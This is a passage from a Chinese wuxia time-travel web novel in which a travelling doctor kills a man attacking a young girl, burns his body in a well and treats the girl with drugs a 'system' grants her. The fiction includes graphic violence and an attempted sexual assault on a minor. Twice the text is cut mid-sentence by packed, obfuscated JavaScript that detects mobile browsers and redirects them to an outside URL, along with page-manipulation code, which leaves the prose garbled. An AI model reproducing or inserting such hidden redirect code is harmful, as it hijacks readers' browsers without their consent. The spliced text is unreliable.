《[综武侠]我当魔教劳模的那些年》 1. 铃医 “救……救救我……唔!!!” 大手死死捂住小姑娘的嘴,求救声一下子被堵回了嗓子眼儿。 “……唔唔唔!!!” 她嘴里呜呜咽咽,双脚使劲儿去蹬踹,怎奈力量相差甚远,压根不顶用。 “嘿嘿,小宝贝儿,别瞎折腾了!” 瞧她一个劲儿挣扎,老酒鬼索性双手一起上,紧紧箍住了小姑娘的腰,“这周遭连个鬼影都没有,你就是叫死叫活也没人能来搭救你!” 别看老酒鬼干瘪瘪的,瘦得像根麻杆儿,可他却有一把子蛮力,硬是将人拖进了破庙里。 死死掰住了身侧的门框,小姑娘抓住了这最后一根救命稻草,泣不成声: “放了我……求求你放了我吧……我还小啊!我愿意给钱,你要多少都可以……我爹爹还在等着我……” 近来老是下雨,坑洼连着坑洼,路黏腻腻的,小姑娘就这样一路被拖到破庙里。她头发散乱了,浑身也沾满了泥浆。由于一直哭个不停,小脸也被眼泪冲刷出一道道稀泥汤子。 这就是个天仙儿,狼狈到了这种地步,也只剩下了可怜和凄惨。 可这个浑身酒臭味儿的老酒鬼,非但没产生一丝丝怜悯,反倒像饿鬼瞅见了嫩肉似的,藏在眼底的施虐欲望更浓了。 他眯缝着淫邪的眼睛,咧着臭嘴,露出一嘴黑黄的烂牙:“……嫩得跟个小水葱似的,一看就是未经人事的雏儿,老子可是馋你老长时间咧,今儿个非要好好摆弄摆弄你!” · 海红珠眼中满是恐惧和绝望。 她根本不认识这个老酒鬼,更没有和他结过怨,为什么会要这样对她?! 呜呜呜,她还要进城去给老爹的表演救场…… 谁来救救她?! · 海红珠是个江湖卖艺的。 她打小儿就跟着海四爹在江湖上闯荡,就这么勉强糊口,一路辗转到了开封。正赶上新官上任,衙门里筹备了迓鼓表演,海四爹的滚环杂技入选,被安排在戌时一刻。 海四爹这一路折腾,早已染上了鸡宿眼,入夜就两眼一抹黑,可这官家的差事容不得他多嘴,他只得硬着头皮上了。 海红珠与老爹相依为命,这么大的事儿,她怎么可能不心焦? 每日酉时,开封城内便会掌起灯来,可她心乱如麻,倒也没顾得上多想这一层。 抄了条荒草萋萋的羊肠小道,急火火地往城里赶,却没想到,半路竟然碰上了老酒鬼这么个淫贼…… 鼻翼急速地翕动着,海红珠哭得喘不上气,她不要被这个畜牲糟蹋! 可她越是哭泣,这个老酒鬼越是兴奋,手头上拉扯她的力道,竟然变得更大了! · “咔嚓!” 忽听一声脆响,门框就像个疏松易碎的桃酥,生生被她掰下一大块烂木头! 一刹时,手指甲尖儿被剌得鲜血淋漓。 海红珠如坠冰窟。 老酒鬼早已厌烦了她的挣扎,还不等她缓过神来,就一把薅住了她的头发! 往门框上狠狠撞去! 他自诩是个猎人,能容忍这么只小家雀儿扑棱这么久,已经是很有耐心了。 “不要——” 眼前冒起了金星儿,海红珠又急又怒,转头铆足了劲儿,将手中的烂木头捏了个粉碎,猛地扬了过去。 “啊啊啊啊啊……眼睛!我的眼睛!” 冷不丁被扬了个正着,碎木屑扎进了眼窝里,老酒鬼吼出了杀猪般的惨嚎! 老酒鬼踉跄着后退,双手揉着眼睛,但他越是揉,碎木屑就扎得越严重。 他暂时丧失了行动能力,疼得破口大骂: “嘶哈……敢对老子下手……有娘生没娘养的臭婊子,老子看你是活腻歪了!” 海红珠浑身抖个不停,脚软得站不起身来,无意中碰到了支在墙边的一根顶门棍,立刻下意识地握在手中。 听到了老酒鬼的辱骂,她双目赤红,恨恨地盯着这个淫贼:“……畜牲!你这个杀千刀的畜牲!” 说到这里,她再也按捺不住心底那簇烈烈的怒火,手中紧握的顶门棍,裹挟着凌厉的风声,奋力砸向了老酒鬼的脑袋。 只听“嘭”的一声闷响,老酒鬼不偏不倚地被她开了瓢儿! 老酒鬼“嗷”的一嗓子叫了出来! 温热的鲜血从他的指缝间涌出,濡湿了手掌,老酒鬼的身体晃来晃去,那揉眼睛的两只手,转而一起捂住了脑袋! · 鲜血。 一大滩触目惊心的鲜血。 眼瞅着这个淫贼的脑袋,已经变得血糊淋剌,海红珠却明显的慌了神儿。先时死命握着的那根顶门棍,这会儿感觉有千斤重,根本拿不住,“哐当”一声,掉落在地上。 父女俩在江湖上卖艺的日子,虽然过得拮据,但海四爹把她当成了眼珠子去呵护,海红珠从来没有杀伤过人,也从来没有见过淌得这么急的血。 海红珠心里跟明镜似的。 实际上这个时候,她最明智且果敢的做法,大抵就这么两种: 要么撒丫子跑得越快越好; 要么双手紧握着顶门棍,对准了老酒鬼的脑袋,往死里砸,砸到他倒地不起,砸到他彻底丧失作恶的能力。 海红珠到底是个老实人,循规蹈矩惯了。 她生怕自己这不要命的反抗,真的把老酒鬼给整死了。 · 如果海四爹知道她竟有这种想法,一准儿得扇自个儿俩大耳刮子,反思自己是不是把女儿教得太过纯良了。 这世道呐,坏人早就不知道把良心扔到哪个臭泥沟里了,还管什么仁义道德,律法都能扔一边去! 就说老酒鬼吧,他就是奔着玷污她来的,海红珠是必须要还手的,就算不小心把老酒鬼打死了,那也是他罪有应得。 就当是为民除害了呗。 太认死理儿的好人,往往会被欺负得很惨,说不定命都没了。正所谓“对敌人的仁慈,就是对自己的残忍。” · 果不其然。 眼睛缝儿稍微能瞥清个人影儿,老酒鬼立刻咬紧了牙关,他发疯似地来了一个反扑,海红珠尚未回过神来,就被狠狠压趴在地! 浓稠的黑血遮住了老酒鬼的半张脸,碎木屑还糊着眼睛,俩眼珠子布满了血丝,两只手如铁钳般,死死地掐着她细溜溜的脖颈。他以往摆弄过不少的女人,每次吓唬一通儿,总是能屡屡得手,如今却被这么个小家雀儿啄伤了眼…… 被小家雀儿了伤的,哪儿是他的脑袋啊? 伤的分明是他这个猎人的尊严! 一时间,老酒鬼的脑袋里头跟疯了似的,来回翻腾着一个念头:“杀了她!” 海红珠拼了命似的挣扎,竭力想掰开那双铁箍似的大手,就连参差不齐的指甲断茬儿,都抠进了老酒鬼的胳膊肉里,可老酒鬼丝毫没有松手的迹象,一心只想着撒撒这股子邪火。 没一会儿,她的小脸就涨得通红,仿佛下一秒就喘不来气儿了。 海红珠嘴巴动了动,却只能发出越来越微弱的“呃呃”声,生理性的眼泪顺着眼角滑落。 她可能真的要死了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845506|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姆妈,红珠好想您,马上就来陪您了…… · 海红珠依稀看到了走马灯。 竹编药篓,虎撑,小立招,那张温柔的笑脸…… 耳边仿佛听到了一阵“哗楞哗楞”的摇铃声,由远及近,越来越清晰。 好耳熟…… 不对!海红珠突然睁开了眼睛,这就是虎撑的声音! 但听“欻”的一声,一股滚烫的鲜血猛地喷溅在了海红珠的脸上! 她下意识地闭了闭眼睛。 紧接着又是“哧啦”一声,好似沾满了泥浆的烂布被搅了几下,闷闷的,透着一股子黏糊劲儿,听得让人肝儿颤。 那双掐在她脖子上的大手,忽然一下子就松弛了下来。海红珠张大了嘴巴,大口喘着粗气,贪婪地呼吸着涌入肺中的新鲜空气。 她浑身软塌塌的,好不容易透过气来,看清了眼前这一幕,瞳孔剧震! 一把生锈的剪刀…… 硬生生地捅穿了老酒鬼的脖颈! 仿佛被什么法术给定住了,老酒鬼愣怔了半晌,直到感觉自己痛得没法呼吸,才缓缓抬起手,颤抖着朝脖颈那儿一摸。 先是触碰到一片湿漉漉的黏腻,裹挟着阻塞感和浓浓的血腥味,然后碰到了剪刀刃儿,糙糙的,还生着锈。 老酒鬼嘴里发出了“嗬嗬”声,瞪鼓了那双充血的三角眼,满脸的不敢置信。 他强忍着钻心的剧痛,转头看向了自己的身后。 · 站在他身后的年轻人,身姿挺拔如松,约莫十七八岁,随便那么一站,脚下生了根似的,瞧着就像个底盘稳当的练家子。 脚上趿拉了双旧草鞋,鞋底粘着湿乎乎的泥,裤腿也净是稀泥汤子,一看就是走了老远的土路,这个年轻人头戴笠帽,肩挎一只黑皴皴的竹编药篓,一身朴素的葛布短打,也不知洗过多少回,洗得褪了色,腰间系了根草绳,靛蓝襻膊把袖子给卷了上去,露出一小截儿淡蜜色的胳膊,精瘦精瘦的,没丁点儿赘肉。 看这一身打扮就知道,她约莫是个铃医。 铃医,也就是走方郎中。 年轻的铃医嘴唇紧抿,左手持虎撑,右手稳稳地握着剪刀柄。 老酒鬼眼神涣散,身体剧烈地痉挛起来,那柄生锈的剪刀不仅戳烂了他的气管,还重创了颈动脉,喉咙里冒起了血泡泡儿。 她沉着脸,眼眸不起一丝微澜: “行此邪淫之罪,当受业火焚身,永坠阿鼻地狱!就这么一剪刀,真是……便宜你了!” 眼底掠过一道寒芒,猛地抽出了那柄深深刺入脖颈的剪子,刹那间,鲜血跟大坝开闸似的狂涌,一串串鲜红的血花喷溅在了她的衣服上。 她这衣裳料子禁不住折腾,本来就好几处都抽丝了,边儿上起了些绒绒,眼下衣服又溅上了一朵朵猩红的血花,洗也洗不干净了。 就像是一棵被砍倒的枯树,老酒鬼仰面倒下,重重地砸在地面上。 仅仅几下抽搐过后,他就彻底瘫软下来,一动也不动了。 · 一滴泪,不受控制地从眼尾滚落下来。 海红珠定定地凝望着她。 心里像搅和着各种滋味儿,酸的辣的苦的咸的都有,跟大水决堤似的,咕噜漫了上来。 是尤姐姐。 还以为再也见不到了…… 那双澄亮的眼眸,是她生平仅见的璀璨。 喉咙里挤出一丝呜咽,好似受伤的小兽般盈满了委屈,泪水在眼眶里头不停打着转,海红珠嘴唇翕动:“尤……尤大夫……” . 2. 温柔暴徒 明姜这俩字儿,是尤大夫的芳名。 既取了“光明磊落”之通透坦荡,又承了“姜桂之性”的率真倔强。 就像是在老茶馆里喝到的那壶酽茶,入口浓烈,在嘴里转一圈,唇齿还留香。 正所谓“名实相符”。 尤大夫这个人呐,总是笑眼弯弯的,说起话来语气温柔和煦,人家揶揄她几句,她也不生气,从来不会让话落空,特别随和。 她看病开的那些个草药,大多数在田埂上也能挖到,像是车前草、马齿苋、藿香之类的。 碰上付不起诊金的,她只收一两把糙米。 大抵是这么个缘故,好些个人就觉着她好糊弄,软趴趴的没个脾气,涎着脸皮跑来找她赊膏药,她倒是个心眼儿宽的,对这些个穷苦老百姓,一向是能帮则帮,跟那《诗经·淇奥》里说的“宽兮绰兮,猗重较兮”差不离儿。 海红珠打心眼儿里就想亲近她。 只要得了闲空儿,不用练那劳什子滚环杂技,她就一溜烟儿跑到旧封丘门,找个小角落一蹲,跟个小雏鸟似的,探头探脑的,睁着圆滚滚的眼睛,巴巴地望着尤大夫铡切草药。 · 尤大夫摆着小摊儿,竖起一面“妙手回春”的小立招,她自个儿做的膏散丹丸,都在一旁摆着,这边手上也不停歇。 她把一捆儿夏枯草捋齐整后,搁在铡刀下面,一只手稳稳地按住夏枯草,另一只手握着铡刀的把手,稍一使力,铡刀就下去了,一下接着一下,把夏枯草切得长短匀溜。 切罢,晒到一旁的油布上,又端起药臼子,细细地研磨起晒干的大蓟来。 襻膊挂在脖子上,袖口边缘泛起了微微的毛糙,露出一截儿线条精瘦的手臂,尤大夫手腕紧实,腕骨微微隆突,铡刀的每一次起落,都牵引着它在淡蜜色的肌肤下滚动;十根修长的手指,犹如玉笋,紧紧地握着捣药杵,稍微蓄着劲儿,手背上的几缕青筋就会鼓起。 海红珠托着腮帮子,每每看得津津有味。 当然了,偶尔也有些个不长眼的。 就说前阵子那个三十来岁的精壮汉子吧,一瞧见尤大夫,立刻两眼放光,凑到了摊子前,他随手捞起一包黄芪片,在手上翻来覆去地摆弄,实则心猿意马,眼珠子就像上了油的滚珠,滴溜溜的,把尤大夫从头打量到脚,喉咙里还吞咽了几下口水。 “哟呵,虽说没什么女人味儿,穿扮得还跟个糙老爷们儿似的,可你这小模样儿,倒还入得了我田伯光的法眼。” 说着,就要伸手摸她的脸颊。 尤大夫立马沉下了脸,她偏了偏头,不止躲开了田伯光的触碰,还劈手夺回了那包黄芪片,冷冷地说:“脏爪子别乱伸!” 伸手却落了个空,那个叫田伯光的汉子,坏笑着摩挲了几下手指尖,他心里痒痒的,跟揣了只小猫似的,忍不住又调戏了几句: “瞧你这小模样儿,整天风吹日晒的做个铃医,实在太可惜了。哥哥我今儿个心情好,陪小娘子好好玩上一玩,保准让你□□,嘿嘿!” · 听见他嘴里的污言秽语,海红珠涨红了小脸,周遭的老百姓都很气愤——谁家还没承蒙过尤大夫的照顾? 众人巴不得抽他几个大耳刮子。 怎奈对方是个身材精悍的练家子,没有功夫傍身,谁也不敢贸然上前。 只不过,尤明姜平日里虽随和善良,但也绝非任人欺凌之辈。 此时,她皮笑肉不笑,声音冷飕飕的,不带丝毫温度:“……□□?好啊,那我就遂了你的愿!” 话音刚落,冷不防就把手头那包黄芪片,扬在了田伯光的脸上! 满满一包黄芪片,劈头盖脸的,砸得他脸颊生疼,双手下意识地往外挥,想要把这些黄芪片给拨开。 尤明姜手腕一翻,“嗖”的一声,将数枚银针,分别打入了他的小海穴、内关穴、环跳穴、髀关穴。 不过短短的两息,手脚就出现了像过电似的麻痹感,田伯光心里咯噔一声,没等他缓过劲儿来,尤明姜蓦地抡起一拳,狠狠捣在了田伯光的胸口。 紧接着,她又无情地来了一脚,“咣”的一声,田伯光被踹飞了出去,落在地上滚了好几滚,堪堪停在了臭水沟沿儿上。 · 迈着稳稳的步儿,走到了田伯光跟前,尤明姜蹲下身子,骤然薅住了他的头发,迫使他仰头。 田伯光死死地捂着胸口,张嘴“哇”地喷出一口鲜血。 “嘬嘬嘬,我玩得怎么样啊?玩得可还让你□□?” 她笑得满是玩味,抬手在他脸颊上拍了两下,手劲儿不大,但侮辱性极强,“说话!” 田伯光又吐了一口血,眼睛死死地盯着她,田伯光恨得要命,朝她啐了一口血沫。 话还没说完,尤明姜就抡圆了胳膊,左右开弓,照直就往他脸上捶,直打得他眼冒金星,流出一管儿鼻血! 随后一记重拳,结结实实地捶在他的脑门上,田伯光俩眼一闭,重重地栽倒在地。 尤明姜这才停手,站起身来,冷冷地垂低了眉眼,拍了拍手上的灰。 一脚将昏死过去的田伯光,踹下了臭水沟,“臭虫,就该待在臭水沟里。” · 当时,海红珠一下就愣住了。 她实在难以将那个三拳两脚撂倒壮汉的尤明姜和记忆中温柔的面容联系在一起。 而此时此刻,就在这个昏暗的破庙里。 海红珠缩在角落里,心跳陡然加快,呼吸急促,眼睁睁看着尤明姜毁尸灭迹。 · 双手稳稳地使劲儿,尤明姜沉着脸,把尸体拖到枯井那儿。 老酒鬼骨架子大,尸体沉甸甸的,在地上留下一道扎眼的血印子。 整个院儿铺着石板,雨水沿着阳沟排走了,她揭开木头井盖儿,往里一看,那数尺深的枯井,井底仅被浇湿了浅浅一层。 井里还堆放了些旧木鱼、破木凳,还有褪色的经幡等等杂物。 尤明姜将老酒鬼的尸体,连同那把染血的生锈剪刀,齐齐撂到了枯井里。太潮了,她又从藤编药篓里,掏出一小罐儿桐油,仔仔细细地沿着缝隙泼在了上面,随后点燃。 伴随着燃烧,一股浓烈得化不开的恶臭,涌入鼻腔。 海红珠缩在角落里瑟瑟发抖,胃里一个劲儿地翻江倒海。 烈火熊熊,足足烧了半个时辰,尸体彻底被烧成了焦炭。 枯井里有股子油腥焦味儿,尤明姜皱了皱眉,找来块大磨盘,压住井口,随后抹上泥,抹得倍儿匀实,再摞上一大堆枯枝烂叶。 经不住这刺激的场面,海红珠脑袋昏沉,她想爬起身,四肢灌了铅似的,使不上劲儿,腿软了。 “……这有什么好怕的呢?海红珠你振作点,别自己吓自己……尤大夫是个多好的人呀,你平常不也总爱往她那儿跑嘛……” 海红珠努力宽慰自己,“那个老酒鬼,差点就把你害了……他本来就干了好多坏事……死了,那也是老天爷看不下去……尤大夫是为民除害啊……别慌,腿可别软……” 突然,她的视野里多了一只手。 “……”海红珠愣住了。 这只手,掌心向上,那指腹上有那么薄薄的一层茧子,指缝儿残留着水渍,潮润润的。 尤明姜站在她的面前:“你还好吧?” 小姑娘脏兮兮的,衣服皱得不像样儿,跟腌咸菜干儿似的,一褶子一褶子的,小脸儿尽是些泥印子,只露了双透着惊惶的眼睛,像个树窠子里吓破了胆儿的小鹌鹑。 年轻的铃医弯下腰,轻声安抚:“小妹,地上挺凉的,可不能在这儿一直坐着,我扶着你,慢慢起来好不好?” 海红珠脸上露出一丝窘愧。她太害怕了,怕得腿软,怕到站不起来。 当然,她怕的不是尤明姜,只是毁尸灭迹的画面,实在太震撼了,冲破了她的心理防线,海红珠一时半会儿有些缓不过神来。 尤明姜笑了笑,伸着一只手,声音平和:“……别怕,我不会伤害你的。” 听到了这句话,海红珠不知怎的,情绪突然稳定了下来。悄悄在衣服上擦了擦手,她鼓足了勇气,颤巍巍地把手搭了上去。 尤明姜牵住了她的手,海红珠怯生生的,手心全是汗。她慢慢地站起身,双腿一个劲儿地颤抖,膝盖突然一弯,人就要往前栽。 亏得尤明姜反应快,手一伸,稳稳当当托住了她的胳膊,手上使了点劲,轻轻把人扶正:“小心点儿,别摔着。” 海红珠站稳后,抬眼瞧了瞧尤明姜,又马上低下头,嗫嚅着说:“谢谢。我……我有些腿软。” 近看这小姑娘,约莫十三四岁,脸脏脏的,头发被泥水弄得一绺一绺的,尤明姜伸手,轻轻拨开了黏在她脸上的头发。 海红珠眨着眼,一颗心“突突”跳得厉害。 【叮!尊敬的少侠,您在开封城外的破庙中行侠仗义,成功拯救一名遇险的弱质女流,义酬已发放到您的竹编药篓。】 义酬如下: 【静脉输液瓶(林格氏液)500ml*1瓶】 【肾上腺素自动注射器0.3mg*10支/盒】 【对乙酰氨基酚片0.3g*10袋】 特殊义酬: 【医用无菌脱脂纱布6m*12卷】 【以上为本次义酬。特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 穿越以后,尤明姜就绑定了个『圣母系统』。 这系统跟开盲盒似的,每次判定成功,随机发放一些药品当奖励,每一次最多可以获得3件药品。 无视系统播报声,尤明姜抬眼,目光在小姑娘身上游走,从头到脚,一一扫过,最后落在了海红珠的手上。 海红珠涨红了脸,眼睛左躲右闪的,匆匆将双手背在身后。 “给我瞧瞧。”尤明姜伸出手,不由分说地握住了她的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845507|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕,力道很轻柔,态度却很强势。那双背在身后的手,冰凉冰凉的,不自觉地顺着这股子力道,慢慢地从后往外伸。 她的手伤得不轻,好些指甲断了半截,甲床裸露,凝着黑紫的痂,还隐隐渗着血丝,八成是掰门框所致。 海红珠垂下眼,下意识地缩了缩手。 “小妹,什么样的伤口我没见过?”尤明姜扶着她的肩膀,“相信我,好吗?” 刹那间,隐忍许久的泪水夺眶而出。 海红珠抬手捂住脸,泪水从指缝间不断涌出,声音颤抖地说:“尤……尤大夫……我好害怕……我以为再也见不到你了……” “别哭了,小心哭坏了身体。”见她哭得梨花带雨,尤明姜从怀里掏出一条帕子,眼神里满是疼惜,轻轻给她擦着眼泪,生怕弄疼了她。 尤明姜不喜欢说虚话,那些安慰人的漂亮虚话,就像是轻飘飘的芦花,浮在半空中,没一点分量。 薄溜溜的帕子,隔不住掌心里的温暖,烫得海红珠红了脸。 她渐渐止了眼泪,不再像之前那么战战兢兢了。 安抚好了小姑娘的情绪,尤明姜从竹编药篓里取出了一个竹筒,竹筒里盛着澄澈的淡盐水,那是用凉白开和细盐制成的。 她倒了一点儿淡盐水,力道很轻柔,慢慢将冲洗着小姑娘甲床上附着的血污。 淡盐水刚一碰到伤口,海红珠立刻倒吸一口凉气:“嘶……好疼呀。” 小姑娘眼眶泛红,咬牙忍着疼,嘴角微微下撇,鼻音里透着一丝委屈,眼睫毛上挂着几滴晶莹的泪珠,那是疼出来的。 尤明姜微微俯身,托起她的指尖,往伤口上轻轻吹了吹气:“那我再轻些,马上就好了。” 想了想,又拆了一小袋【对乙酰氨基酚片】,递给她一枚白色的药片:“止痛的。” 海红珠眨了眨眼睛,眼中满是新奇,盯着掌心那粒莹白圆润的药片,这药片于她而言甚是陌生。 她指尖轻轻捏起,触感光滑而硬实,凑近鼻尖轻嗅,却没闻出什么味儿来,最终还是把药片放进嘴里。 一抹淡淡的苦涩在味蕾上蔓延开来,她赶紧喝了口水,将药片送下咽喉,只余一丝似有若无的苦涩在舌尖萦绕。 过了一会儿,见她不一个劲儿喊痛,尤明姜才轻舒一口气。 她从药篓里取出一罐泛着清新黄绿色、温润透亮的金盏花冷浸油,说道:“把这油抹在伤口上,能让伤口好得快些,结痂也快,伤口愈合就容易多了。” 尤明姜一边说,一边撕了块【医用无菌脱脂纱布】,蘸取了些许金盏花冷浸油,小心压在伤处,每一下都恰到好处,让油膜均匀覆盖伤口。 那断裂的指甲还有部分连着,她没有贸然硬拔,而是用医用无菌脱脂纱布盖好,再轻轻地绑上。 如此,受伤的十指已经被她挨个仔细包扎妥当。 尤明姜利落处理好了海红珠的伤口,又给她仔细擦干净了脸。然后,她从庙里到枯井边,逐一清理着蛛丝马迹,尤其是那道扎眼的血印子。 忙完这些,尤明姜转身走进破庙的后厢房中,好一番翻找后,扯出两身香客留下的衣物,“小妹,眼下也没别的办法,先凑合着穿这身吧。等换好了,我送你进城去。” 说完,她掏出火折子,将俩人换下来的衣服统统一股脑焚烧殆尽。 · 直到海红珠坐上了骡车,她还在晃神儿。穿着那不大合身的行头,身下铺着干草,裹着纱布的手揪着草梗,显得有些局促不安。 她呆呆地瞧着侧坐在前方赶车的尤明姜,脑子里一片懵然。 当开封城上的匾额出现在眼前的那一刻,她仍觉得这一切不太真实。 自己当真已被救了? 莫非这只是临死前的一场幻梦? 她就这么胡思乱想着,直到尤明姜“吁”的一声,勒住了缰绳。 海红珠这才回过神来。 尤明姜笑着说:“还不到酉时三刻。救场的话,还来得及。” “哦。”海红珠慢慢腾腾地下了骡车,往前走了两步,又有些犹豫,转过身来问:“尤大夫,那个老酒鬼……” 尤明姜挑了挑眉:“老酒鬼?什么老酒鬼?我可不认识,更没见过。” 海红珠轻打了下嘴巴,忙不迭地说:“对对对,没见过,不认识。” “去吧。”尤明姜冲她点了点头。 海红珠红着脸,疾步跑进城中,于城门之前,忍不住回首一望。 远处,年轻的铃医身姿修长,侧身稳稳坐在骡车上,手里松松地握着缰绳,时不时轻轻晃一下。 城楼上的灯笼洒下暖黄的光,尤明姜仰起脸,张望着夜空中绽放的焰火。因灯笼有些晃眼,她的面容看不真切,却有着让人移不开视线的魅力。 “尤大夫……”海红珠怔了怔,心跳如擂鼓。意识到自己的失态,她甩了甩头,身影逐渐消失在城门口。 · 3. 蜂毒 次日,开封城内。 “炊饼嘞!热哩炊饼,一文钱一个咧!” 这吆喝声扯着长腔,在街面上悠悠地荡着,能传出老远。 挎篮子的农妇也沿街叫卖:“便宜卖嘞,石灰裹泥的变蛋嘞!个个溏心流黄!口感滑嫩,五文钱一个!快来瞧一瞧,看一看呐!” “香油嘞!石磨香油咧!”卖香油的扯着尖嗓子喊,“磨的是头茬芝麻,走过路过别错过咧!不买就没啦!” “锵剪子来磨菜刀嘞——” 日头刚冒尖儿,开封城就热闹起来了。 尤明姜穿了身褐麻衫裙,长发束在脑后,系着蓝头巾,身姿轻盈地跃下骡车。 一只竹编药篓,稳稳地挎在她的肩膀上,篓中错落着十来株地黄、牛膝、铁皮石斛。她牵着骡车,快步走到一家熟悉的茶棚前,从怀里摸出十文钱,交给嗑瓜子的茶婆,嘱托她老人家帮忙照料一下骡车。 茶婆笑着收了钱,将骡车牵到棚子后面,一边喂草料,一边抻长了脖子吆喝:“尤大夫,您忙完了,来棚子里喝口茶呗,特意给您留了好茶叶呢。” “行啊。”尤明姜随口应了一句,转身背着药篓,向着药铺的方向稳步走去。 药铺里面供奉着药王孙思邈的神位,因为今个儿要来药铺,她守着规矩,将虎撑老老实实地藏在药篓里。这杨家药铺是老字号,药材成色不错。杨药伯挺大方的,给她换了些上等香药,比如说红花、肉桂、丁香之类的。她捏起一撮,触感挺干燥;凑在鼻尖闻了闻,没霉味。药铺还送了些明矾,挺实惠。 她把大包小包的香药,统统一股脑地塞进了那只竹编药篓里。药篓像是被塞得满满当当,小药童在一旁看着,眼中满是关切。 忍不住发问:“尤大夫,这篓子看着沉甸甸的,你能背得动吗?” 尤明姜转过身,将药篓背在肩上,冲他笑了笑:“放心吧。这点子重量。” · 小药童完全是多虑了。 她手头这一只竹编药篓,实际上是圣母系统出品的储物空间。 形似小巧,却内藏乾坤。 【物品名称:竹编药篓】 【描述:相传曾是药王孙思邈的旧物,其空间容量为8立方米(长4米*宽1米*高2米),此药篓重量恒定为两斤,篓内物品能自动分类存放,且永不腐坏。】 【注1:该篓不可放置活物,不可放置人类的尸体。】 【注2:已绑定用户,不可解绑,不可交易,遗失后自动刷新。】 这个篓子很神奇,哪怕里面堆满了何首乌这类“大块头”,它的重量也始终和空篓一样,如此,尤明姜才能轻松地背着它采药。 一路走着瞧着,那些繁华地段确实繁华,但也有不少个脸色蜡黄的佃农,在街边摆摊儿。他们大部分收成都要上交给地主,只剩下一丁点儿粮食。因此,为了攒点钱补贴家用,农闲时,也会卖一些自家做的粗糙小物什。 但凡瞧见了些实惠物件,尤明姜就停下步子,尽量多采买些。 先是相中了两个粗陶碗,模样虽糙,却敦实耐用,盛个药汁子正合适。又瞅见几双草鞋,拿在手里一瞧,就觉着结结实实,便买了五六双。再往前走,寻着一卷苇席,纹理匀净细密,往榻上一铺,定是清爽极了。 听到了卤水豆腐的叫卖声,她花了十五个铜板买了剩下的底儿,豆腐娘子麻溜地用刚采下的荷叶包好,那荷叶的清香渗进豆腐里,闻着就觉着新鲜。 再一股脑的,统统装进竹编药篓里。 除此之外,她的药篓里总放着一个陶罐,里面装的是冒着丝丝热气的豆腐汤。 就是最普通的豆腐汤。 锅底擦点儿油,豆腐一煎,撒把细盐儿,加水一“咕嘟”,就炖成了奶白汤水。 当年在崖州的地界上,她见过不少面黄肌瘦的路倒儿。 有的是病倒的,有的是饿倒的。但绝大多数的路倒儿,都是因为肚子里没食儿,饿得身子骨都快散架了。疾病只是压垮他们的最后一根稻草。也有人实在捱不住了,靠在墙角歇上片刻,缓一缓劲儿,哪承想,这一靠下去,就再也没能起来。 她每次碰见了,都会凑上前扶起那人,往他嘴里灌一口豆腐汤。 这一口汤灌下肚,人缓过劲儿来,好歹能留住小命,不至于悄无声息地走了。 这世道,大伙儿都苦得很呐,尤明姜只想着能救几个是几个。 · 茶婆说的好茶叶,就是茉莉花茶筛下的碎末。 这些碎末色泽微黄,冲泡后,碎末上下翻腾,释放出一股清幽的香气。 轻抿一口,茶汤在舌尖缓缓散开,泛着微苦的清甜味儿,转瞬之间,弥漫整个口腔。 尤明姜手捧茶碗,一边喝茶,一边怔怔地出神。卖药材所得的钱,已被她花得一干二净,但她不知道为什么,突然不想马上回去。 这时,一位姑娘从她身旁走过,身上散发着淡淡的蜂蜜香气。 尤明姜微微仰头望去,只见那姑娘怀中抱着个直径约摸两尺的脸盆,盆里盛放着蜂蜡,已掰成大小不一的块状,呈淡淡的琥珀色,微透明,表面光滑,泛着油腻的光泽。 姑娘戴着一顶破旧的草帽,帽檐边缘微微卷起,帽檐下的脸庞苍白而清丽,粗灰麻衣上错落着几块补丁。 她怀中抱着那一盆蜂蜡,脸盆上面贴着一根草标,脚步迟缓,走走停停,目光在人群中来回搜寻,逢人便殷切问道: “要蜂蜡吗?您买些吧!” “买些吧,这是自家熬的蜂蜡!” 平头百姓收入微薄,一日工钱只有二三十文铜钱,一个月下来,收入不过八九百文铜钱,而蜂蜡价格不菲,一斤至少要几百文铜钱,故而问津者寥寥。 铁萍姑抱着那盆蜂蜡,在集市的角落里寻了一处蹲下。 整个人蔫巴巴的,身前显得颇为冷清。 她眼神有些空洞,呆呆地望着来来往往的行人:“卖蜂蜡嘞,自家熬的蜂蜡……” 声音微微发颤,还有些沙哑,很快就被集市的嘈杂声淹没了。 或许是感受到尤明姜的目光,姑娘也抬起头来,目光从那盆蜂蜡上缓缓移到尤明姜脸上。 两人的目光交汇,尤明姜心头一紧,下意识地低下头去。 她囊中羞涩,实在买不起这些个蜂蜡。 手里头的钱早已换成了两个粗陶碗,五六双草鞋,一卷苇席,新鲜荷叶包起来的卤水豆腐,还有那一碗热腾腾的菽麦粗面…… · 铁萍姑从小就被寄养在她爹李大嘴朋友家。 这寄人篱下的日子,忒苦。 天还没透亮,她就得麻溜儿起身,“吭哧吭哧”地拉着风箱,但凡手脚稍慢些,那男人的拳脚便如雨点般落下来。 等她烧好了饭,浑身被汗水浸了个精湿,却还要被说成是个懒蛆。 男人眼睛一瞪,骂骂咧咧是轻的,还总把“卖掉她”仨字儿挂在嘴边。 铁萍姑太害怕了,每一次吃得就更少了,只敢捡些剩饭剩菜吃。 可就算是肚子里没食儿,她也得继续去后山干活儿。 